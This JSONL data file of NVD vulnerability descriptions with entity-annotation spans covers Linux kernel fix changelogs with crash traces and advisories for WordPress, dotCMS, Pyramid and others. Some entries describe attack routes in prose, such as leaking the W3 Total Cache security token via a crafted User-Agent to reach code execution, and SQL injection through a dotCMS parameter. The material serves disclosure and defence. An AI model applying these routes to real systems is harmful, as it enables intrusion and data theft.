{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mad: Improve handling of timed out WRs of mad agent\n\nCurrent timeout handler of mad agent acquires/releases mad_agent_priv\nlock for every timed out WRs. This causes heavy locking contention\nwhen higher no. of WRs are to be handled inside timeout handler.\n\nThis leads to softlockup with below trace in some use cases where\nrdma-cm path is used to establish connection between peer nodes\n\nTrace:\n-----\n BUG: soft lockup - CPU#4 stuck for 26s! [kworker/u128:3:19767]\n CPU: 4 PID: 19767 Comm: kworker/u128:3 Kdump: loaded Tainted: G OE\n     -------  ---  5.14.0-427.13.1.el9_4.x86_64 #1\n Hardware name: Dell Inc. PowerEdge R740/01YM03, BIOS 2.4.8 11/26/2019\n Workqueue: ib_mad1 timeout_sends [ib_core]\n RIP: 0010:__do_softirq+0x78/0x2ac\n RSP: 0018:ffffb253449e4f98 EFLAGS: 00000246\n RAX: 00000000ffffffff RBX: 0000000000000000 RCX: 000000000000001f\n RDX: 000000000000001d RSI: 000000003d1879ab RDI: fff363b66fd3a86b\n RBP: ffffb253604cbcd8 R08: 0000009065635f3b R09: 0000000000000000\n R10: 0000000000000040 R11: ffffb253449e4ff8 R12: 0000000000000000\n R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000040\n FS:  0000000000000000(0000) GS:ffff8caa1fc80000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007fd9ec9db900 CR3: 0000000891934006 CR4: 00000000007706e0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n PKRU: 55555554\n Call Trace:\n  <IRQ>\n  ? show_trace_log_lvl+0x1c4/0x2df\n  ? show_trace_log_lvl+0x1c4/0x2df\n  ? __irq_exit_rcu+0xa1/0xc0\n  ? watchdog_timer_fn+0x1b2/0x210\n  ? __pfx_watchdog_timer_fn+0x10/0x10\n  ? __hrtimer_run_queues+0x127/0x2c0\n  ? hrtimer_interrupt+0xfc/0x210\n  ? __sysvec_apic_timer_interrupt+0x5c/0x110\n  ? sysvec_apic_timer_interrupt+0x37/0x90\n  ? asm_sysvec_apic_timer_interrupt+0x16/0x20\n  ? __do_softirq+0x78/0x2ac\n  ? __do_softirq+0x60/0x2ac\n  __irq_exit_rcu+0xa1/0xc0\n  sysvec_call_function_single+0x72/0x90\n  </IRQ>\n  <TASK>\n  asm_sysvec_call_function_single+0x16/0x20\n RIP: 0010:_raw_spin_unlock_irq+0x14/0x30\n RSP: 0018:ffffb253604cbd88 EFLAGS: 00000247\n RAX: 000000000001960d RBX: 0000000000000002 RCX: ffff8cad2a064800\n RDX: 000000008020001b RSI: 0000000000000001 RDI: ffff8cad5d39f66c\n RBP: ffff8cad5d39f600 R08: 0000000000000001 R09: 0000000000000000\n R10: ffff8caa443e0c00 R11: ffffb253604cbcd8 R12: ffff8cacb8682538\n R13: 0000000000000005 R14: ffffb253604cbd90 R15: ffff8cad5d39f66c\n  cm_process_send_error+0x122/0x1d0 [ib_cm]\n  timeout_sends+0x1dd/0x270 [ib_core]\n  process_one_work+0x1e2/0x3b0\n  ? __pfx_worker_thread+0x10/0x10\n  worker_thread+0x50/0x3a0\n  ? __pfx_worker_thread+0x10/0x10\n  kthread+0xdd/0x100\n  ? __pfx_kthread+0x10/0x10\n  ret_from_fork+0x29/0x50\n  </TASK>\n\nSimplified timeout handler by creating local list of timed out WRs\nand invoke send handler post creating the list. The new method acquires/\nreleases lock once to fetch the list and hence helps to reduce locking\ncontetiong when processing higher no. of WRs", "spans": {"FILEPATH: /26/2019": [[719, 727]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[673, 677]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50095"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix race in read_extent_buffer_pages()\n\nThere are reports from tree-checker that detects corrupted nodes,\nwithout any obvious pattern so possibly an overwrite in memory.\nAfter some debugging it turns out there's a race when reading an extent\nbuffer the uptodate status can be missed.\n\nTo prevent concurrent reads for the same extent buffer,\nread_extent_buffer_pages() performs these checks:\n\n    /* (1) */\n    if (test_bit(EXTENT_BUFFER_UPTODATE, &eb->bflags))\n        return 0;\n\n    /* (2) */\n    if (test_and_set_bit(EXTENT_BUFFER_READING, &eb->bflags))\n        goto done;\n\nAt this point, it seems safe to start the actual read operation. Once\nthat completes, end_bbio_meta_read() does\n\n    /* (3) */\n    set_extent_buffer_uptodate(eb);\n\n    /* (4) */\n    clear_bit(EXTENT_BUFFER_READING, &eb->bflags);\n\nNormally, this is enough to ensure only one read happens, and all other\ncallers wait for it to finish before returning.  Unfortunately, there is\na racey interleaving:\n\n    Thread A | Thread B | Thread C\n    ---------+----------+---------\n       (1)   |          |\n             |    (1)   |\n       (2)   |          |\n       (3)   |          |\n       (4)   |          |\n             |    (2)   |\n             |          |    (1)\n\nWhen this happens, thread B kicks of an unnecessary read. Worse, thread\nC will see UPTODATE set and return immediately, while the read from\nthread B is still in progress.  This race could result in tree-checker\nerrors like this as the extent buffer is concurrently modified:\n\n    BTRFS critical (device dm-0): corrupted node, root=256\n    block=8550954455682405139 owner mismatch, have 11858205567642294356\n    expect [256, 18446744073709551360]\n\nFix it by testing UPTODATE again after setting the READING bit, and if\nit's been set, skip the unnecessary read.\n\n[ minor update of changelog ]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35798"}}
{"text": "Pyramid is an open source Python web framework. A path traversal vulnerability in Pyramid versions 2.0.0 and 2.0.1 impacts users of Python 3.11 that are using a Pyramid static view with a full filesystem path and have a `index.html` file that is located exactly one directory above the location of the static view's file system path. No further path traversal exists, and the only file that could be disclosed accidentally is `index.html`. Pyramid version 2.0.2 rejects any path that contains a null-byte out of caution. While valid in directory/file names, we would strongly consider it a mistake to use null-bytes in naming files/directories. Secondly, Python 3.11, and 3.12 has fixed the underlying issue in `os.path.normpath` to no longer truncate on the first `0x00` found, returning the behavior to pre-3.11 Python, un an as of yet unreleased version. Fixes will be available in:Python 3.12.0rc2 and 3.11.5. Some workarounds are available. Use a version of Python 3 that is not affected, downgrade to Python 3.10 series temporarily, or wait until Python 3.11.5 is released and upgrade to the latest version of Python 3.11 series.", "spans": {"FILEPATH: index.html": [[221, 231], [427, 437]], "SYSTEM: Python": [[26, 32], [132, 138], [655, 661], [814, 820], [885, 891], [963, 969], [1007, 1013], [1053, 1059], [1116, 1122]], "VULNERABILITY: path traversal": [[50, 64], [345, 359]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-40587"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nerofs: fix lz4 inplace decompression\n\nCurrently EROFS can map another compressed buffer for inplace\ndecompression, that was used to handle the cases that some pages of\ncompressed data are actually not in-place I/O.\n\nHowever, like most simple LZ77 algorithms, LZ4 expects the compressed\ndata is arranged at the end of the decompressed buffer and it\nexplicitly uses memmove() to handle overlapping:\n  __________________________________________________________\n |_ direction of decompression --> ____ |_ compressed data _|\n\nAlthough EROFS arranges compressed data like this, it typically maps two\nindividual virtual buffers so the relative order is uncertain.\nPreviously, it was hardly observed since LZ4 only uses memmove() for\nshort overlapped literals and x86/arm64 memmove implementations seem to\ncompletely cover it up and they don't have this issue.  Juhyung reported\nthat EROFS data corruption can be found on a new Intel x86 processor.\nAfter some analysis, it seems that recent x86 processors with the new\nFSRM feature expose this issue with \"rep movsb\".\n\nLet's strictly use the decompressed buffer for lz4 inplace\ndecompression for now.  Later, as an useful improvement, we could try\nto tie up these two buffers together in the correct order.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[989, 994]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52497"}}
{"text": "The W3 Total Cache plugin for WordPress is vulnerable to information exposure in all versions up to, and including, 2.9.3. This is due to the plugin bypassing its entire output buffering and processing pipeline when the request's User-Agent header contains \"W3 Total Cache\", which causes raw mfunc/mclude dynamic fragment HTML comments — including the W3TC_DYNAMIC_SECURITY security token — to be rendered in the page source. This makes it possible for unauthenticated attackers to discover the value of the W3TC_DYNAMIC_SECURITY constant by sending a crafted User-Agent header to any page that contains developer-placed dynamic fragment tags, granted the site has the fragment caching feature enabled. With the leaked W3TC_DYNAMIC_SECURITY token, an attacker can craft valid mfunc tags to execute arbitrary PHP code on the server, achieving remote code execution.", "spans": {"SYSTEM: WordPress": [[30, 39]], "SYSTEM: PHP": [[808, 811]], "VULNERABILITY: remote code execution": [[842, 863]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-5032"}}
{"text": "dotCMS before 20.10.1 allows SQL injection, as demonstrated by the /api/v1/containers orderby parameter. The PaginatorOrdered classes that are used to paginate results of a REST endpoints do not sanitize the orderBy parameter and in some cases it is vulnerable to SQL injection attacks. A user must be an authenticated manager in the dotCMS system to exploit this vulnerability.", "spans": {"FILEPATH: /api/v1/containers": [[67, 85]], "VULNERABILITY: SQL injection": [[29, 42], [264, 277]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-27848"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt_en: Fix double invocation of bnxt_ulp_stop()/bnxt_ulp_start()\n\nBefore the commit under the Fixes tag below, bnxt_ulp_stop() and\nbnxt_ulp_start() were always invoked in pairs.  After that commit,\nthe new bnxt_ulp_restart() can be invoked after bnxt_ulp_stop()\nhas been called.  This may result in the RoCE driver's aux driver\n.suspend() method being invoked twice.  The 2nd bnxt_re_suspend()\ncall will crash when it dereferences a NULL pointer:\n\n(NULL ib_device): Handle device suspend call\nBUG: kernel NULL pointer dereference, address: 0000000000000b78\nPGD 0 P4D 0\nOops: Oops: 0000 [#1] SMP PTI\nCPU: 20 UID: 0 PID: 181 Comm: kworker/u96:5 Tainted: G S                  6.15.0-rc1 #4 PREEMPT(voluntary)\nTainted: [S]=CPU_OUT_OF_SPEC\nHardware name: Dell Inc. PowerEdge R730/072T6D, BIOS 2.4.3 01/17/2017\nWorkqueue: bnxt_pf_wq bnxt_sp_task [bnxt_en]\nRIP: 0010:bnxt_re_suspend+0x45/0x1f0 [bnxt_re]\nCode: 8b 05 a7 3c 5b f5 48 89 44 24 18 31 c0 49 8b 5c 24 08 4d 8b 2c 24 e8 ea 06 0a f4 48 c7 c6 04 60 52 c0 48 89 df e8 1b ce f9 ff <48> 8b 83 78 0b 00 00 48 8b 80 38 03 00 00 a8 40 0f 85 b5 00 00 00\nRSP: 0018:ffffa2e84084fd88 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000001\nRDX: 0000000000000000 RSI: ffffffffb4b6b934 RDI: 00000000ffffffff\nRBP: ffffa1760954c9c0 R08: 0000000000000000 R09: c0000000ffffdfff\nR10: 0000000000000001 R11: ffffa2e84084fb50 R12: ffffa176031ef070\nR13: ffffa17609775000 R14: ffffa17603adc180 R15: 0000000000000000\nFS:  0000000000000000(0000) GS:ffffa17daa397000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000b78 CR3: 00000004aaa30003 CR4: 00000000003706f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n<TASK>\nbnxt_ulp_stop+0x69/0x90 [bnxt_en]\nbnxt_sp_task+0x678/0x920 [bnxt_en]\n? __schedule+0x514/0xf50\nprocess_scheduled_works+0x9d/0x400\nworker_thread+0x11c/0x260\n? __pfx_worker_thread+0x10/0x10\nkthread+0xfe/0x1e0\n? __pfx_kthread+0x10/0x10\nret_from_fork+0x2b/0x40\n? __pfx_kthread+0x10/0x10\nret_from_fork_asm+0x1a/0x30\n\nCheck the BNXT_EN_FLAG_ULP_STOPPED flag and do not proceed if the flag\nis already set.  This will preserve the original symmetrical\nbnxt_ulp_stop() and bnxt_ulp_start().\n\nAlso, inside bnxt_ulp_start(), clear the BNXT_EN_FLAG_ULP_STOPPED\nflag after taking the mutex to avoid any race condition.  And for\nsymmetry, only proceed in bnxt_ulp_start() if the\nBNXT_EN_FLAG_ULP_STOPPED is set.", "spans": {"FILEPATH: /17/2017": [[867, 875]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[821, 825]], "VULNERABILITY: NULL pointer dereference": [[576, 600]], "VULNERABILITY: race condition": [[2475, 2489]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38186"}}
{"text": "The session fixation vulnerability allowed the authenticated user to continue accessing Airflow webserver even after the password of the user has been reset by the admin - up until the expiry of the session of the user. Other than manually cleaning the session database (for database session backend), or changing the secure_key and restarting the webserver, there were no mechanisms to force-logout the user (and all other users with that).\n\nWith this fix implemented, when using the database session backend, the existing sessions of the user are invalidated when the password of the user is reset. When using the securecookie session backend, the sessions are NOT invalidated and still require changing the secure key and restarting the webserver (and logging out all other users), but the user resetting the password is informed about it with a flash message warning displayed in the UI. Documentation is also updated explaining this behaviour.\n\nUsers of Apache Airflow are advised to upgrade to version 2.7.0 or newer to mitigate the risk associated with this vulnerability.", "spans": {"SYSTEM: Apache Airflow": [[959, 973]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-40273"}}
{"text": "An Improper Input Validation vulnerability in the VxLAN packet forwarding engine (PFE) of Juniper Networks Junos OS on QFX5000 Series, EX4600 Series devices allows an unauthenticated, adjacent attacker, sending two or more genuine packets in the same VxLAN topology to possibly cause a DMA memory leak to occur under various specific operational conditions. The scenario described here is the worst-case scenario. There are other scenarios that require operator action to occur.\n\nAn indicator of compromise may be seen when multiple devices indicate that FPC0 has gone missing when issuing a show chassis fpc command for about 10 to 20 minutes, and a number of interfaces have also gone missing.\n\nUse the following command to determine if FPC0 has gone missing from the device.\n\nshow chassis fpc detail\nThis issue affects:\n\nJuniper Networks Junos OS on QFX5000 Series, EX4600 Series:\n\n\n\n  *  18.4 version 18.4R2 and later versions prior to 20.4R3-S8;\n  *  21.1 version 21.1R1 and later versions prior to 21.2R3-S6;\n  *  21.3 versions prior to 21.3R3-S5;\n  *  21.4 versions prior to 21.4R3-S4;\n  *  22.1 versions prior to 22.1R3-S3;\n  *  22.2 versions prior to 22.2R3-S1;\n  *  22.3 versions prior to 22.3R2-S2, 22.3R3;\n  *  22.4 versions prior to 22.4R2.", "spans": {"ORGANIZATION: Juniper": [[90, 97], [824, 831]], "VULNERABILITY: Improper Input Validation": [[3, 28]], "VULNERABILITY: memory leak": [[290, 301]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-44183"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Networking). Supported versions that are affected are Java SE: 7u241, 8u231, 11.0.5 and 13.0.1; Java SE Embedded: 8u231. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE, Java SE Embedded accessible data as well as unauthorized read access to a subset of Java SE, Java SE Embedded accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets (in Java SE 8), that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.0 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [139, 143], [181, 185], [330, 334], [339, 343], [468, 472], [477, 481], [561, 565], [570, 574], [640, 644], [697, 701], [738, 742], [755, 759], [858, 862]], "ORGANIZATION: Oracle": [[58, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2593"}}
{"text": "Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Infrastructure). Supported versions that are affected are 8.0.6-8.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services Analytical Applications Infrastructure accessible data as well as unauthorized read access to a subset of Oracle Financial Services Analytical Applications Infrastructure accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [97, 103], [327, 333], [510, 516], [741, 747], [873, 879]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14601"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking).  Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6, 20; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and  22.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 3.7 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [171, 175], [414, 418], [578, 582], [674, 678], [731, 735], [772, 776], [877, 881]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [164, 170], [220, 226], [407, 413], [423, 429], [571, 577], [587, 593]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-21937"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/AER: Avoid NULL pointer dereference in aer_ratelimit()\n\nWhen platform firmware supplies error information to the OS, e.g., via the\nACPI APEI GHES mechanism, it may identify an error source device that\ndoesn't advertise an AER Capability and therefore dev->aer_info, which\ncontains AER stats and ratelimiting data, is NULL.\n\npci_dev_aer_stats_incr() already checks dev->aer_info for NULL, but\naer_ratelimit() did not, leading to NULL pointer dereferences like this one\nfrom the URL below:\n\n  {1}[Hardware Error]: Hardware error from APEI Generic Hardware Error Source: 0\n  {1}[Hardware Error]: event severity: corrected\n  {1}[Hardware Error]:   device_id: 0000:00:00.0\n  {1}[Hardware Error]:   vendor_id: 0x8086, device_id: 0x2020\n  {1}[Hardware Error]:   aer_cor_status: 0x00001000, aer_cor_mask: 0x00002000\n  BUG: kernel NULL pointer dereference, address: 0000000000000264\n  RIP: 0010:___ratelimit+0xc/0x1b0\n  pci_print_aer+0x141/0x360\n  aer_recover_work_func+0xb5/0x130\n\n[8086:2020] is an Intel \"Sky Lake-E DMI3 Registers\" device that claims to\nbe a Root Port but does not advertise an AER Capability.\n\nAdd a NULL check in aer_ratelimit() to avoid the NULL pointer dereference.\nNote that this also prevents ratelimiting these events from GHES.\n\n[bhelgaas: add crash details to commit log]", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[1064, 1069]], "VULNERABILITY: NULL pointer dereference": [[84, 108], [895, 919], [1227, 1251]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40034"}}
{"text": "BuddyBoss Platform through 1.8.0 allows remote attackers to obtain the email address of each user. When creating a new user, it generates a Unique ID for their profile. This UID is their private email address with symbols removed and periods replaced with hyphens. For example. JohnDoe@example.com would become /members/johndoeexample-com and Jo.test@example.com would become /members/jo-testexample-com. The members list is available to everyone and (in a default configuration) often without authentication. It is therefore trivial to collect a list of email addresses.", "spans": {"DOMAIN: example.com": [[286, 297], [351, 362]], "FILEPATH: /members/johndoeexample-com": [[311, 338]], "FILEPATH: /members/jo-testexample-com.": [[376, 404]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-44692"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: seville: register the mdiobus under devres\n\nAs explained in commits:\n74b6d7d13307 (\"net: dsa: realtek: register the MDIO bus under devres\")\n5135e96a3dd2 (\"net: dsa: don't allocate the slave_mii_bus using devres\")\n\nmdiobus_free() will panic when called from devm_mdiobus_free() <-\ndevres_release_all() <- __device_release_driver(), and that mdiobus was\nnot previously unregistered.\n\nThe Seville VSC9959 switch is a platform device, so the initial set of\nconstraints that I thought would cause this (I2C or SPI buses which call\n->remove on ->shutdown) do not apply. But there is one more which\napplies here.\n\nIf the DSA master itself is on a bus that calls ->remove from ->shutdown\n(like dpaa2-eth, which is on the fsl-mc bus), there is a device link\nbetween the switch and the DSA master, and device_links_unbind_consumers()\nwill unbind the seville switch driver on shutdown.\n\nSo the same treatment must be applied to all DSA switch drivers, which\nis: either use devres for both the mdiobus allocation and registration,\nor don't use devres at all.\n\nThe seville driver has a code structure that could accommodate both the\nmdiobus_unregister and mdiobus_free calls, but it has an external\ndependency upon mscc_miim_setup() from mdio-mscc-miim.c, which calls\ndevm_mdiobus_alloc_size() on its behalf. So rather than restructuring\nthat, and exporting yet one more symbol mscc_miim_teardown(), let's work\nwith devres and replace of_mdiobus_register with the devres variant.\nWhen we use all-devres, we can ensure that devres doesn't free a\nstill-registered bus (it either runs both callbacks, or none).", "spans": {"FILEPATH: miim.c": [[1314, 1320]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48814"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock, bfq: fix bfqq uaf in bfq_limit_depth()\n\nSet new allocated bfqq to bic or remove freed bfqq from bic are both\nprotected by bfqd->lock, however bfq_limit_depth() is deferencing bfqq\nfrom bic without the lock, this can lead to UAF if the io_context is\nshared by multiple tasks.\n\nFor example, test bfq with io_uring can trigger following UAF in v6.6:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in bfqq_group+0x15/0x50\n\nCall Trace:\n <TASK>\n dump_stack_lvl+0x47/0x80\n print_address_description.constprop.0+0x66/0x300\n print_report+0x3e/0x70\n kasan_report+0xb4/0xf0\n bfqq_group+0x15/0x50\n bfqq_request_over_limit+0x130/0x9a0\n bfq_limit_depth+0x1b5/0x480\n __blk_mq_alloc_requests+0x2b5/0xa00\n blk_mq_get_new_requests+0x11d/0x1d0\n blk_mq_submit_bio+0x286/0xb00\n submit_bio_noacct_nocheck+0x331/0x400\n __block_write_full_folio+0x3d0/0x640\n writepage_cb+0x3b/0xc0\n write_cache_pages+0x254/0x6c0\n write_cache_pages+0x254/0x6c0\n do_writepages+0x192/0x310\n filemap_fdatawrite_wbc+0x95/0xc0\n __filemap_fdatawrite_range+0x99/0xd0\n filemap_write_and_wait_range.part.0+0x4d/0xa0\n blkdev_read_iter+0xef/0x1e0\n io_read+0x1b6/0x8a0\n io_issue_sqe+0x87/0x300\n io_wq_submit_work+0xeb/0x390\n io_worker_handle_work+0x24d/0x550\n io_wq_worker+0x27f/0x6c0\n ret_from_fork_asm+0x1b/0x30\n </TASK>\n\nAllocated by task 808602:\n kasan_save_stack+0x1e/0x40\n kasan_set_track+0x21/0x30\n __kasan_slab_alloc+0x83/0x90\n kmem_cache_alloc_node+0x1b1/0x6d0\n bfq_get_queue+0x138/0xfa0\n bfq_get_bfqq_handle_split+0xe3/0x2c0\n bfq_init_rq+0x196/0xbb0\n bfq_insert_request.isra.0+0xb5/0x480\n bfq_insert_requests+0x156/0x180\n blk_mq_insert_request+0x15d/0x440\n blk_mq_submit_bio+0x8a4/0xb00\n submit_bio_noacct_nocheck+0x331/0x400\n __blkdev_direct_IO_async+0x2dd/0x330\n blkdev_write_iter+0x39a/0x450\n io_write+0x22a/0x840\n io_issue_sqe+0x87/0x300\n io_wq_submit_work+0xeb/0x390\n io_worker_handle_work+0x24d/0x550\n io_wq_worker+0x27f/0x6c0\n ret_from_fork+0x2d/0x50\n ret_from_fork_asm+0x1b/0x30\n\nFreed by task 808589:\n kasan_save_stack+0x1e/0x40\n kasan_set_track+0x21/0x30\n kasan_save_free_info+0x27/0x40\n __kasan_slab_free+0x126/0x1b0\n kmem_cache_free+0x10c/0x750\n bfq_put_queue+0x2dd/0x770\n __bfq_insert_request.isra.0+0x155/0x7a0\n bfq_insert_request.isra.0+0x122/0x480\n bfq_insert_requests+0x156/0x180\n blk_mq_dispatch_plug_list+0x528/0x7e0\n blk_mq_flush_plug_list.part.0+0xe5/0x590\n __blk_flush_plug+0x3b/0x90\n blk_finish_plug+0x40/0x60\n do_writepages+0x19d/0x310\n filemap_fdatawrite_wbc+0x95/0xc0\n __filemap_fdatawrite_range+0x99/0xd0\n filemap_write_and_wait_range.part.0+0x4d/0xa0\n blkdev_read_iter+0xef/0x1e0\n io_read+0x1b6/0x8a0\n io_issue_sqe+0x87/0x300\n io_wq_submit_work+0xeb/0x390\n io_worker_handle_work+0x24d/0x550\n io_wq_worker+0x27f/0x6c0\n ret_from_fork+0x2d/0x50\n ret_from_fork_asm+0x1b/0x30\n\nFix the problem by protecting bic_to_bfqq() with bfqd->lock.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[508, 522]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53166"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/x86: ISST: Fix the KASAN report slab-out-of-bounds bug\n\nAttaching SST PCI device to VM causes \"BUG: KASAN: slab-out-of-bounds\".\nkasan report:\n[   19.411889] ==================================================================\n[   19.413702] BUG: KASAN: slab-out-of-bounds in _isst_if_get_pci_dev+0x3d5/0x400 [isst_if_common]\n[   19.415634] Read of size 8 at addr ffff888829e65200 by task cpuhp/16/113\n[   19.417368]\n[   19.418627] CPU: 16 PID: 113 Comm: cpuhp/16 Tainted: G            E      6.9.0 #10\n[   19.420435] Hardware name: VMware, Inc. VMware20,1/440BX Desktop Reference Platform, BIOS VMW201.00V.20192059.B64.2207280713 07/28/2022\n[   19.422687] Call Trace:\n[   19.424091]  <TASK>\n[   19.425448]  dump_stack_lvl+0x5d/0x80\n[   19.426963]  ? _isst_if_get_pci_dev+0x3d5/0x400 [isst_if_common]\n[   19.428694]  print_report+0x19d/0x52e\n[   19.430206]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n[   19.431837]  ? _isst_if_get_pci_dev+0x3d5/0x400 [isst_if_common]\n[   19.433539]  kasan_report+0xf0/0x170\n[   19.435019]  ? _isst_if_get_pci_dev+0x3d5/0x400 [isst_if_common]\n[   19.436709]  _isst_if_get_pci_dev+0x3d5/0x400 [isst_if_common]\n[   19.438379]  ? __pfx_sched_clock_cpu+0x10/0x10\n[   19.439910]  isst_if_cpu_online+0x406/0x58f [isst_if_common]\n[   19.441573]  ? __pfx_isst_if_cpu_online+0x10/0x10 [isst_if_common]\n[   19.443263]  ? ttwu_queue_wakelist+0x2c1/0x360\n[   19.444797]  cpuhp_invoke_callback+0x221/0xec0\n[   19.446337]  cpuhp_thread_fun+0x21b/0x610\n[   19.447814]  ? __pfx_cpuhp_thread_fun+0x10/0x10\n[   19.449354]  smpboot_thread_fn+0x2e7/0x6e0\n[   19.450859]  ? __pfx_smpboot_thread_fn+0x10/0x10\n[   19.452405]  kthread+0x29c/0x350\n[   19.453817]  ? __pfx_kthread+0x10/0x10\n[   19.455253]  ret_from_fork+0x31/0x70\n[   19.456685]  ? __pfx_kthread+0x10/0x10\n[   19.458114]  ret_from_fork_asm+0x1a/0x30\n[   19.459573]  </TASK>\n[   19.460853]\n[   19.462055] Allocated by task 1198:\n[   19.463410]  kasan_save_stack+0x30/0x50\n[   19.464788]  kasan_save_track+0x14/0x30\n[   19.466139]  __kasan_kmalloc+0xaa/0xb0\n[   19.467465]  __kmalloc+0x1cd/0x470\n[   19.468748]  isst_if_cdev_register+0x1da/0x350 [isst_if_common]\n[   19.470233]  isst_if_mbox_init+0x108/0xff0 [isst_if_mbox_msr]\n[   19.471670]  do_one_initcall+0xa4/0x380\n[   19.472903]  do_init_module+0x238/0x760\n[   19.474105]  load_module+0x5239/0x6f00\n[   19.475285]  init_module_from_file+0xd1/0x130\n[   19.476506]  idempotent_init_module+0x23b/0x650\n[   19.477725]  __x64_sys_finit_module+0xbe/0x130\n[   19.476506]  idempotent_init_module+0x23b/0x650\n[   19.477725]  __x64_sys_finit_module+0xbe/0x130\n[   19.478920]  do_syscall_64+0x82/0x160\n[   19.480036]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[   19.481292]\n[   19.482205] The buggy address belongs to the object at ffff888829e65000\n which belongs to the cache kmalloc-512 of size 512\n[   19.484818] The buggy address is located 0 bytes to the right of\n allocated 512-byte region [ffff888829e65000, ffff888829e65200)\n[   19.487447]\n[   19.488328] The buggy address belongs to the physical page:\n[   19.489569] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888829e60c00 pfn:0x829e60\n[   19.491140] head: order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0\n[   19.492466] anon flags: 0x57ffffc0000840(slab|head|node=1|zone=2|lastcpupid=0x1fffff)\n[   19.493914] page_type: 0xffffffff()\n[   19.494988] raw: 0057ffffc0000840 ffff88810004cc80 0000000000000000 0000000000000001\n[   19.496451] raw: 